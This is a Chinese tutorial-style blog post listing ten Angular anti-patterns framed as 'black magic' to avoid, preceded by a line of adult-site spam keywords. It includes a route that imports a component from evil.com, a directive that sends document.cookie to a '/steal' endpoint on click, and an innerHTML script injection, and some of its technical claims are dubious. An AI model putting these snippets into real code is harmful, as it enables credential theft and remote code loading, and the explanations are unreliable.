99re热视频这里只精品,久久久天堂国产精品女人,国产av一区二区三区,久久久精品成人免费看片,99久久精品免费看国产一区二区三区

App下載

邪修 Angular 10 連擊|臟檢查黑洞、遠(yuǎn)程木馬、路由死循環(huán)

編程獅(w3cschool.cn) 2025-08-07 18:03:49 瀏覽數(shù) (408)
反饋

邪修 Angular,10 段“千萬(wàn)別上生產(chǎn)”的黑魔法代碼
——僅供技術(shù)獵奇,切勿真用!

?? 每條都可能:臟檢查爆炸、Zone.js 崩潰、AOT 失效、維護(hù)者升天

面試炫技 OK,項(xiàng)目敢用就等死!

1?? 根模塊一行毀滅

@NgModule({})
export class AppModule {
  constructor() {
    setInterval(() => console.log('??'), 0); // 無(wú)限臟檢查
  }
}

構(gòu)造函數(shù)里每秒觸發(fā)臟檢查,瀏覽器直接卡死。

2?? 雙向綁定黑洞

<input [(ngModel)]="obj.self.self.self.self.text">

深層嵌套對(duì)象,每次鍵入觸發(fā) 2? 次臟檢查。

3?? 模板級(jí)無(wú)限遞歸

<ng-container *ngIf="flag">
  <ng-container *ngIf="flag">
    <ng-container *ngIf="flag">...</ng-container>
  </ng-container>
</ng-container>

模板自身嵌套,編譯器不報(bào)錯(cuò),運(yùn)行時(shí)棧溢出。

4?? 動(dòng)態(tài)遠(yuǎn)程木馬組件

const routes: Routes = [{
  path: '**',
  loadComponent: () => import('https://evil.com/comp.ts')
}];

運(yùn)行時(shí)拉取遠(yuǎn)程組件,Angular CLI 攔不住。

5?? 全局服務(wù)污染

@Injectable({ providedIn: 'root' })
export class EvilService {
  constructor() {
    (window as any).evil = this; // 全局暴露
  }
}

把服務(wù)掛到 window,破壞依賴注入隔離。

6?? 管道級(jí)副作用

@Pipe({ name: 'evil' })
export class EvilPipe implements PipeTransform {
  transform(value: any) {
    console.log(value); // 每次臟檢查都執(zhí)行
    return value;
  }
}

管道本應(yīng)純函數(shù),這里直接打日志,性能秒崩。

7?? 指令級(jí)木馬

@Directive({ selector: '[evil]' })
export class EvilDirective {
  constructor(private el: ElementRef) {
    el.nativeElement.addEventListener('click', () => {
      fetch('/steal?cookie=' + encodeURIComponent(document.cookie));
    });
  }
}

全局指令劫持點(diǎn)擊事件,繞過 CSP。

8?? 路由守衛(wèi)死循環(huán)

const routes: Routes = [{
  path: '',
  canActivate: [() => inject(Router).navigate([''])],
  component: HomeComponent
}];

守衛(wèi)里又跳回自己,路由棧瞬間爆炸。

9?? 高階管道鏈?zhǔn)降鬲z

{{ data | pure1 | pure2 | sideEffect | pure3 }}

混入副作用管道,臟檢查次數(shù)指數(shù)級(jí)上升。

?? JIT 運(yùn)行時(shí)模板編譯木馬

@Component({
  template: `<div [innerHTML]="template"></div>`
})
export class EvilComponent {
  template = '<button onclick="alert(1)">點(diǎn)我</button>';
}

運(yùn)行時(shí)模板字符串注入,AOT 無(wú)法檢測(cè)。

邪修口訣

“臟檢查當(dāng)陀螺,Zone.js 當(dāng)黑洞;

模板當(dāng)迷宮,依賴注入哭泣。”

PS

想要正經(jīng)的學(xué)習(xí) Angular,從編程獅的《小白學(xué)前端:AngularJS基礎(chǔ)入門》開始!

0 人點(diǎn)贊